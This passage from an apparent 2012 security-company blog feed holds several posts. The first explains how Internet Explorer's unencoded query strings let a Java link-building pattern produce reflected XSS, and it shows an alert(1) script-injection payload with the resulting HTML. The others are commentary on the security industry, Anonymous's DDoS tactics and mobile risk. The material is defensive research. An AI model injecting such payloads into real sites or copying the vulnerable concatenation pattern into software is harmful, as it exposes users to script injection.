<p>This is not atypical and I have probably seen it a fair number of times in the past.  This functionality can be implemented in a number of ways, but the way it was implemented in this application was the following:</p>
<pre>return "http://www.site2.com/test2.jsp?"+request.getQueryString();</pre>
<p>So, depending on what  request.getQueryString() returns, this may be used for XSS.  In other words, submitting the following:</p>
<pre>http://www.site1.com/test.jsp?var1=val1"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</pre>
<p>could lead to pretty straightforward  XSS, with the above Java code generating the following HTML:</p>
<pre>&lt;a href="http://www.site2.com/test2.jsp?var1=val1"&gt;
&lt;script&gt;alert(1)&lt;/script&gt;"&gt;Click Me&lt;/a&gt;</pre>
<p>Ok, before you chastise me for demonstrating basic XSS, let&#8217;s dig a bit deeper.  It turns out that that the above request fails to inject JavaScript into the generated link in Chrome, Safari, and Firefox.  However, it does work in Internet Explorer.  Chrome, Safari, and Firefox all URL encode the &#8220;,&gt;, and &lt; characters while IE encodes none of them.  For example, Safari encodes the request as follows:</p>
<pre>GET /test.jsp?var1=val1%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1</pre>
<p>while IE sends the following:</p>
<pre>GET /test.jsp?var1=val1"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</pre>
<p>As can be seen, IE does not URL encode any of the characters, while Safari (et al) tend to URL encode values that might be misinterpreted in another context.  My memory is not what it once was, but I feel like I had run into this in the past and just passed it off as an IE(ism).  Every browser seems to have their own set of strange edge cases that only work in that particular browser (whether we are talking about security or functionally).  I would have probably just blown this off as another IEism, forgotten about it, and remembered it months down the line when I ran into it again in another application.  Instead, not a week goes by when a coworker emails me with the exact same observation.</p>
<p>In the email he, almost verbatim, described the application he was assessing and noted how IE seemed to be aberrant when it came to this edge case.  At this point I started thinking that maybe I had not run into this in the past, and maybe it was not just my memory failing me.  Maybe IE had changed their encoding rules and this behavior was introduced in a more recent version of IE.  A quick round of searching and I found <a href="http://blog.imperva.com/2012/01/ie-bug-exposes-its-users-to-xss-attacks-.html">this</a>.  It turns out Imperva had submitted this exact issue to MSFT about a week before my coworker and I noticed the issue.  At this point I was totally confused.  Surely me, my coworker, and the engineer at Imperva noticing the issue within the same month could not be a coincidence.</p>
<p>After reading through the Imperva blog post I brought up my Windows XP VM to test this on every version of IE since 6 to see when this oversight was introduced.  Well, to cut things short, I found identical behavior in IE 6, 7, 8, 9, and 10 (had to test 10 in the Windows 8 public release).  I did not dig into prior releases of other browsers to see when they implemented the URL encoding of &#8220;,&gt;, and &lt; (among other characters), but if my poor memory serves me, I feel like this has been a common practice for quite a while.  Quoting from the Imperva blog post, Microsoft&#8217;s response  to the observed behavior was the following:</p>
<blockquote><p>Thank you for writing to us.  The behavior you are describing is something that we are aware of and are evaluating for changes in future versions of IE, however it&#8217;s not something that we consider to be a security vulnerability that will be addressed in a security update.</p></blockquote>
<p>So, is MSFT just being stubborn and knowingly violating the RFC?  Well, as far as I can tell, no.  I believe there are some other drafts, but the most current finalized RFC dealing with URIs is <a href="http://tools.ietf.org/html/rfc3986#section-2">RFC 3986</a>.  In particular, Section 2 talks about characters, reserved characters, unreserved characters, URL encoding, etc.  One would think that if you are going to use the terms &#8220;reserved characters&#8221; and &#8220;unreserved characters&#8221; that this would divide the world of all characters into the &#8220;reserved character&#8221; set and the &#8220;unreserved character&#8221; set.  That only makes sense, right?  Well, here is a list of the reserved characters:</p>
<pre>":" / "/" / "?" / "#" / "[" / "]" / "@" / "!" / "$" / "&amp;" / "'" 
/ "(" / ")" / "*" / "+" / "," / ";" / "="</pre>
<p>and the unreserved characters:</p>
<pre>ALPHA / DIGIT / "-" / "." / "_" / "~"</pre>
<p>Conspicuously absent are the &#8220;, &gt;, and &lt; characters (as well as others).  This is strange for a number of reasons, one of which has to do with the fact that this exact issue is mentioned in <a href="http://tools.ietf.org/html/rfc1738">RFC 1738</a> (RFC 3986 updated RFC 1738).  In RFC 1738 there is a section that explicitly mentions &#8220;Unsafe&#8221; characters.  This section, in part, states:</p>
<blockquote>
<pre>The characters "&lt;" and "&gt;" are unsafe because they are used as the
delimiters around URLs in free text; the quote mark (""") is used to
delimit URLs in some systems.</pre>
</blockquote>
<p>RFC 3986 doesn&#8217;t mention unsafe characters anywhere (correct me if I am wrong; it is easy to miss a line in a RFC).  It would appear that IE is actually not violating the RFC.  Instead, they just happened to have implemented their URL encoding scheme in a way that is in line with the  &#8221;reserved characters&#8221; and &#8220;unreserved characters&#8221; definitions, but different than everyone else.  My guess is that IE has left this in place for the same reason MSFT often leaves things in place&#8230;.backward compatibility.  I see no reason why they would not prefer the more secure behavior if they were confident it would not break existing applications.  Moreover, I would imagine that they would have gladly implemented it the same way as everyone else if the RFC had actually unambiguously defined the expected behavior.</p>
<p>So, in the end, the fact that three different security engineers all noted the same odd IE behavior in the same month was actually just coincidence.  I guess I can only dream of a day when some sort of formal verification system will free us from RFC ambiguity.  But, for now, we can probably bank on these ambiguities continuing to introduce strange edge case security issues.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1298/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1298/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1298/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1298&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/04/06/ambiguous-rfc-leads-to-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5788c623c8fe27e3f5b9e41962256c6e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">ptoomey3</media:title>
		</media:content>
	</item>
		<item>
		<title>Security is more than Technology</title>
		<link>http://labs.neohapsis.com/2012/03/09/security-is-more-than-technology/</link>
		<comments>http://labs.neohapsis.com/2012/03/09/security-is-more-than-technology/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 16:43:17 +0000</pubDate>
		<dc:creator>J. Schumacher</dc:creator>
				<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1277</guid>
		<description><![CDATA[The security industry can get a bad rap by opinion writers when most of the news making headlines in tech security is about another hack or data breach.  CNet posted “Why the security industry never actually makes us secure” which states there are two hurdles between present day and a purposed security Nirvana.  The article [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1277&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The security industry can get a bad rap by opinion writers when most of the news making headlines in tech security is about another hack or data breach.  CNet posted “<a href="http://news.cnet.com/8301-27080_3-57389046-245/why-the-security-industry-never-actually-makes-us-secure/">Why the security industry never actually makes us secure</a>” which states there are two hurdles between present day and a purposed security Nirvana.  The article stated “First, there&#8217;s the seemingly endless arms race between hackers and defenders, one that shows no sign of slowing anytime soon” and “Second, there&#8217;s the fact that attackers are&#8211;at least for now&#8211;much more motivated to get in than companies are to keep them out”.  I could not agree less with these two statements.</p>
<p>There seems to be a mentality in society that security must eliminate all risks forever and fit into a self managed box that costs next to nothing to make or purchase.  I do not think this is a solution that will be developed and not simply because that would put me out of work.  Society is evolving to a more interconnected web communicating over a public network that introduces new risks based on a shifted or expanding threat spectrum, depending how you look at it.  Security cannot be only evaluated in terms of technology and security can’t be solved by treating all risks the same.</p>
<p><strong>Endless Arms Race</strong></p>
<p>First, there is not an arms race between red and blue as that would imply new sophisticated tools are being created and used in attacks by the masses.  As shown in the recent <a href="http://www.imperva.com/docs/HII_The_Anatomy_of_an_Anonymous_Attack.pdf">Imperva</a> report, recent hacks claimed by Anonymous were using open-source and off-the-shelf commercial tools of the trade as well relying on shear people power to turn door knobs in hoping for an opening.  In observing IRC chat forums and social media I see more of an activist movement that is introducing hacking as a form of social disruption around political and economical issues then a call to arms.</p>
<p>Depending on motives of an attacker(s) there may be some digital thieves sneaking into a side door per say but lately most of the real damage has come from hacktivists against what they have deemed evil entities.  Unless the majority of hacks are being hidden, which is possible, I don’t see these digital thieves needing to use advanced weaponry in exploiting web based applications, weak passwords techniques and patch vulnerability exploit.  These hacks make me believe part of the problem today is from companies trying to do more with less and not an endless arms race by hackers.</p>
<p>I do not mean to discount Stuxnet, the sophisticated worm presumably linked with government sponsorship, but the vast majority of the population does not need to worry about such a risk of attack.  <a href="http://www.forbes.com/2010/10/06/iran-nuclear-computer-technology-security-stuxnet-worm.html">Bruce Schneier</a> suggested that Stuxnet took eight to ten individuals working for months to develop such an exploit that took advantage of a zero-day weakness.  For a hacker to create such a complicated espionage or sabotage tool would require advanced understanding in automated manufacturing system components just for development and not taking inconsideration time or expense for deploying the exploit.  These types of attacks are very relevant for some organizations and governments but do not need to be feared by all equally.</p>
<p>There has been advanced persistent threats on major industry and government entitles for some time to date but I can’t remember reading about one since <a href="http://en.wikipedia.org/wiki/Operation_Aurora">Google</a> and <a href="http://nakedsecurity.sophos.com/2011/10/11/rsa-blames-nation-state-attack/" target="_blank">RSA</a>, which evidence points to not be performed by the average hacker.</p>
<p><strong>No Motivations to Defend?</strong></p>
<p>Secondly to say that defenders of security at an organization are not as motivated is a ridiculous statement.  Companies that have sensitive data, whether credit card numbers to intellectual property, are motivated to keep this data secure for reasons from brand tarnish to legal liability.  Security is not only about motivation, although it doesn’t hurt; security is about defending your assets based on risk and implementing sound operations in preventative, development and incident management.  Depending on an attacker’s persistence and sponsoring ability for the hack, anyone can eventually become a victim as after all we are humans and not robots.</p>
<p>Many professionals in the security industry will say that it is not about how but when you will be breached.  People hear this phrase and automatically they believe it is true for their business or organization.  There will probably never be the same level of excitement for stopping an attack in the media as most of the incidents are not even reported or known outside a select group.  Combining a low public attention with false negative rhetoric will put a road block in front of you before even starting the fight.</p>
<p>Even with obstacles in the way companies are seeking to protect their data and brand more today than ten years ago.  I feel that there is plenty of motivation for most businesses to address security before the US politicians start adding to the conversation or maybe it is already too late.</p>
<p><strong>Answer to Security</strong></p>
<p>Many people want to turn security into a cowboy shooting a “rusty revolver” but this is only sensationalizing security more than building on fundamentals and efficient operations to protect assets.  The majority of security consultants I know are not cowboys but nerds and those plug n’ prey devices to block all danger do not nor will not exist.  Security doesn’t have to be rocket science for all cases and sometimes thinking simple with common sense will save you or an organization from being breached.</p>
<p>New risks and threats are always going to be in the future of technology as we build faster than we can secure; just think how long we would had to wait for smartphones in the workplace if security was priority number one.  I tell folks to break down security into the basic building blocks of technology and address security in operations through risk assessment, standard processes, relevant education and automation where appropriate.  I am truly amazed to see companies that span multiple continents but do not have a chief security officer as in the case when <a href="http://www.securityweek.com/sony-hires-former-us-homeland-security-official-philip-reitinger-ciso">Sony</a> was compromised.</p>
<p>There are many companies, some not so reputable, that are making a statement and living through technology that is publicly facing without being taken down or compromised by the Internet pirates.  As with those companies there are security professionals that strive to mitigate risk and know that security is ever changing with no one magic box that is going to protect every aspect of security in a complex international business world.  I am certain that there are many qualified Neohapsis security consultants that would be glad to talk with you about security, risk and helping you take secure ownership of technology.</p>
<p><strong>Two Tasks to Help</strong></p>
<p>IT operations and management need to understand the risk on business technologies based on varying threats which will vary based on industry sector and overall footprints  Gaining a perspective of an environment through a quantitative risk assessment allows for an entity to be proactive, defend strategically and respond swiftly should an incident arise.  I believe that security must come from a top down model with full support to security in environment, tools, accountability and education.</p>
<p>A key part of IT security needs to be a strong patch and vulnerability management process that covers full business model of applications and infrastructure systems.  A successful patch and vulnerability management process should become a route activity to operations where it is performed with little to no downtown; this is achievable I kid you not.  There has been a great focus in secure software methodologies over the last years with <a href="http://www.microsoft.com/security/sdl/default.aspx" target="_blank">Microsoft’s Security Development Lifecycle</a> and <a href="http://bsimm.com/" target="_blank">Building Security in Maturity Model</a> that are constantly evolving with the culture of attacks to better protect applications from SQL injection and cross side scripting exploits to name some.</p>
<p>There are a few other factors that go into security besides a good patch and vulnerability management process and performing an annual risk assessment.  If you are seek more understanding in security for your business then reach out to our excellent Neohapsis knowledge base on security professionals.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1277&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/03/09/security-is-more-than-technology/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e1b019e4e149e98c6204366f7c0fd273?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">schumacher15</media:title>
		</media:content>
	</item>
		<item>
		<title>Anonymous Tactics (from the attacks reported on by Imperva)</title>
		<link>http://labs.neohapsis.com/2012/03/06/anonymous-tactics-from-the-attacks-reported-on-by-imperva/</link>
		<comments>http://labs.neohapsis.com/2012/03/06/anonymous-tactics-from-the-attacks-reported-on-by-imperva/#comments</comments>
		<pubDate>Tue, 06 Mar 2012 18:43:24 +0000</pubDate>
		<dc:creator>J. Schumacher</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[anonymous]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1262</guid>
		<description><![CDATA[by J. Schumacher Security professionals have been following the collective of Internet users calling themselves Anonymous for a few years now as they cause cyber mayhem to understand their tactics.  There were two well written publications in recent weeks that caught my eye, The New York Times “In Attack on Vatican Web Site, a Glimpse [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1262&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>by J. Schumacher</em></p>
<p>Security professionals have been following the collective of Internet users calling themselves <em>Anonymous</em> for a few years now as they cause cyber mayhem to understand their tactics.  There were two well written publications in recent weeks that caught my eye, <a href="http://www.nytimes.com/2012/02/27/technology/attack-on-vatican-web-site-offers-view-of-hacker-groups-tactics.html?pagewanted=1&amp;_r=1">The New York Times</a> “In Attack on Vatican Web Site, a Glimpse of Hackers’ Tactics” and <a href="http://www.imperva.com/download.asp?id=312">Imperva’s</a> “Hacker Intelligence Summary Report, the Anatomy of an Anonymous Attack”.  These articles shed light on how Anonymous takes a call to arms, recruits members, and searches for action.  After reading these articles I kept thinking about current state of the Internet and wondering about the future of Anonymous’ with the cyber pandemonium it creates.</p>
<p>Taking the <a href="http://www.imperva.com/download.asp?id=312">Imperva</a> report as factual, the collective group of Anonymous has an approximate 10:1 ratio of laypeople to skilled hackers, which I believe limits the sophistication of attacks. I say “collective”, as targets for attacks are not often given from above, but must be approved or agreed upon by the masses before being launched.  One very interesting note in Imperva’s report was that the attacks Imperva monitored in 2011 were not utilizing bots, malware or phishing techniques for exploit, but end users actively running tools or visiting special web sites to aid in the attack.  There was a high level of public recruitment through social media of Twitter and Facebook, which can also act to inform the victim before the attack hits properly.</p>
<p><a href="http://www.nytimes.com/2012/02/27/technology/attack-on-vatican-web-site-offers-view-of-hacker-groups-tactics.html?pagewanted=1&amp;_r=1">The New York Times</a> article mentions that the attack on the Vatican took 18 days to gain enough recruitment and automated scanning tools were used for reconnaissance on the Vatican virtual front during this time.  In this attack Anonymous was seeking to interrupt the International Youth Day by a certain date, but when that failed Anonymous changed tactics to widespread distribution of software for Distributed Denial of Service (DDoS) so they could to hit the Vatican with a thousand person attack.  There were mixed statements from Anonymous and Imperva (who was a contractor for Internet security monitoring) regarding whether any sites across the globe were truly taken offline for any amount of time.</p>
<p>I think that Rob Rachwald, Imperva’s director of security, was quoted best by <a href="http://www.nytimes.com/2012/02/27/technology/attack-on-vatican-web-site-offers-view-of-hacker-groups-tactics.html?pagewanted=1&amp;_r=1">The New York Times</a> article as saying “<em>who is Anonymous?</em>  <em>Anyone can use the Anonymous umbrella to hack anyone at anytime</em>”.  However, I believe Anonymous has currently reached their collective peak and will never be the same as in its early 4chan or even the 2008 days.  However, by no means has the world heard the last of Anonymous, as people will be claiming affiliation to the collective “group” for a very long to come, and I believe it will also continue to evolve over time.  How this change takes place is going to be exciting to see as Anonymous claims an “ideas without leaders” mentality and relies on general public for consensus of missions.</p>
<p>Recently, an interesting report from <a href="http://www.symantec.com/connect/fr/blogs/anonymous-supporters-tricked-installing-zeus-trojan">Symantec</a> also came out about how Anonymous affiliates were tricked into installing the Zeus Trojan by a Pastebin tutorial covering how to install and use one of the attack tools, the Low Orbit Ion Cannon (LOIC), to support in DDoS attacks.  Established Twitter handles for Anonymous contributors (<a href="https://twitter.com/#%21/YourAnonNews">YourAnonNews</a>, <a href="https://twitter.com/#%21/AnonymousIRC/">AnonymousIRC</a>, <a href="https://twitter.com/#%21/AnonOps">AnonOps</a>) have tweeted that this was not done by Anonymous. But, with no leadership accountable (due to the collective nature of Anonymous), there is nothing to say whether this is a true, whether another entity is sabotaging Anonymous public fanfare, or if it was simply someone taking advantage of free publicity to trick users into installing malware.  Since what many call the start of Anonymous in 2008 (Scientology attacks), there have not been any other large scale compromises of the those supporting attacks through infected tools, but this new activity could hurt the future of Anonymous recruitment and public support.</p>
<p>Depending on whether this recent instance of infected tools was a fluke, I see the future of Anonymous involving with skilled hackers increasing through a Wild West collaborative of honing their talents, while keeping the true base of Anonymous as largely unskilled hackers.  The skilled will, at times, directly and indirectly work for entities (such as large scale crime syndicates as well as private entities) to whom they are lured by big pay for work that will never be reported in any news paper.  The skilled hackers will still participate in Anonymous causes, and they will also enable other Anonymous members (through writing attack tools, scripts or apps), while also keeping knowledge of their well paid exploits limited to a smaller private offshoot group.  These offshoots will put dedication into advanced exploits that require some financial backing to set up (such as servers for social engineering, injection data repository, proxies and bots) but these exploits will most likely never be communicated to the larger Anonymous collective or used for social causes of the masses but rather private gains.</p>
<p>At the same time though, the unskilled hackers, making up the majority of the group, are essential to Anonymous at large for bringing attention and support to causes, identifying weaknesses in networks, performing DDoS attacks and being a overall distraction and crowd to hide in. It seems bots will be unnecessary and replaced by humans where it is simpler.  A large army that is not connected (outside of the odd one-off message to a public forums or social media) provides for a large pool that the authorities must sift through in finding the dedicated Anon.  The collective group of Anonymous has showed support for many social causes, like the <a href="http://www.guardian.co.uk/commentisfree/cifamerica/2011/sep/27/occupy-wall-street-anonymous">occupy movement</a> and free speech outcries from proposed <a href="http://www.huffingtonpost.com/2012/02/17/anonymous-acta-ftc_n_1285668.html">Internet legislation</a>.  At the same time Anonymous seems to have very publicly promoted every hack and breach that has been reported since 2010 whether the data exposed was government, private industry or public citizens.</p>
<p>I like to think of myself as a practical, but at times wishful, person.  As I see it, the core ideology of the Anonymous&#8217; movement is not going away, as their cause is not so much new as is the platform for their disobedience.  There are some basic controls that organizations can implement to protect themselves from a virtual protest, whether the risk is from DDoS attacks or exploits of un-patched public devices.  In the near term, I do not see a high probability of Anonymous becoming a super group of hackers that perform sophisticated attacks in the likes of Stuxnet. Nor do I see the possibility of a large scale take down of critical infrastructure.  There will always be a risk and sometimes possible threats to critical infrastructure through technology but this risk can be largely mitigated through proper assessment and mitigating controls.</p>
<p>Side note –</p>
<p>If the recent instance of infected tools will continue on other causes then I believe we have seen the end of wide support for Anonymous.  Distrust has always been a concern to involved members with very recent <a href="http://www.bbc.co.uk/news/technology-17270822">arrests</a> across the globe for LulzSec. Anonymous will need to do internal damage control to prevent the collapse of the collective group and a public distrust in support for causes brought up by the Anons.  Even if hacking group Anonymous goes in a different direct the damage has been done and Internet society can never reverse the damage physiologically from the last 5 years.</p>
<p>As writing this post there was news coming out that a prominent member of Anonymous, Sabu, along with 5 others have been arrested by the <a href="http://www.fbi.gov/newyork/press-releases/2012/six-hackers-in-the-united-states-and-abroad-charged-for-crimes-affecting-over-one-million-victims" target="_blank">FBI</a>.  We will have more details once the dust settles a bit and all news sources can be processed, stay tuned.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1262/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1262/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1262/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1262&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/03/06/anonymous-tactics-from-the-attacks-reported-on-by-imperva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e1b019e4e149e98c6204366f7c0fd273?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">schumacher15</media:title>
		</media:content>
	</item>
		<item>
		<title>Getting your head around the &#8220;Mobile&#8221; discussion</title>
		<link>http://labs.neohapsis.com/2012/03/05/getting-your-head-around-the-mobile-discussion/</link>
		<comments>http://labs.neohapsis.com/2012/03/05/getting-your-head-around-the-mobile-discussion/#comments</comments>
		<pubDate>Mon, 05 Mar 2012 17:45:11 +0000</pubDate>
		<dc:creator>securitydreamer</dc:creator>
				<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/2012/03/05/getting-your-head-around-the-mobile-discussion/</guid>
		<description><![CDATA[The last time business managers were worked into a tizzy about “Mobile,” we called it Mobile Computing or Mobility and we talked about remote workers, laptop computers and USB memory sticks (thumb drives).  Organizations routinely provisioned employees with both, and employees routinely wanted to use their personal laptops and USB sticks for business use. Therefore, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1261&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The last time business managers were worked into a tizzy about “Mobile,” we called it Mobile Computing or Mobility and we talked about remote workers, laptop computers and USB memory sticks (thumb drives).  Organizations routinely provisioned employees with both, and employees routinely wanted to use their personal laptops and USB sticks for business use. Therefore, companies had to deal with a mix of business and personal mobile computing devices.  In those days Neohapsis recommended that its clients create strong “personal use” policies, promote awareness of the risks, and deploy technology measures to mitigate some those risks. Today’s mobile discussion is similar in theme but quite different in details.</p>
<p>Mobile no longer merely means mobile computing or mobile workforce.  Its common use now includes social networking, mobile websites, mobile apps, new messaging and communication platforms, photos, crowd sourcing, and videos used for personal and business reasons on a vast range of technologies including home PCs, corporate workstations, laptops, smartphones and tablets on the business network, the home Internet connection and in the Cloud.</p>
<p>The technology eco-system of Mobile is vast. Phones, cameras, PDAs (like the iPod Touch©), portable storage devices (external storage, iPods, memory sticks) and tablets are all included, but so are computers, servers and entire data centers.  The glue that connects all of these systems in the Mobile conversation is simply one thing: the Internet.  Mobile touches nearly every aspect of your IT environment.</p>
<p>So what does a business manager need to know in order to approach Mobile with reasonable security?  That is the subject of Neohapsis Labs’ newest paper: The Secure Mobile Enterprise. <a title="Neohapsis Labs" href="http://www.neohapsis.com/" target="_blank">Download it here</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1261/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1261/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1261/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1261&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/03/05/getting-your-head-around-the-mobile-discussion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7754956b84db7c1228977ef1135cde26?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">securitydreamer</media:title>
		</media:content>
	</item>
		<item>
		<title>Set and Don&#8217;t Forget</title>
		<link>http://labs.neohapsis.com/2012/02/28/set-and-dont-forget/</link>
		<comments>http://labs.neohapsis.com/2012/02/28/set-and-dont-forget/#comments</comments>
		<pubDate>Tue, 28 Feb 2012 16:36:59 +0000</pubDate>
		<dc:creator>zephyrboy2000</dc:creator>
				<category><![CDATA[Information Security]]></category>
		<category><![CDATA[PCI]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1241</guid>
		<description><![CDATA[By Patrick Harbauer, Neohapsis Senior Security Consultant and PCI Technical Lead There are several PCI DSS requirements that are related to tasks that must be performed on a regular basis. The frequency of these tasks varies from daily to annual. There are also a few requirements that make it important to have PCI DSS compliant data [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1241&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Patrick Harbauer, Neohapsis Senior Security Consultant and PCI Technical Lead</p>
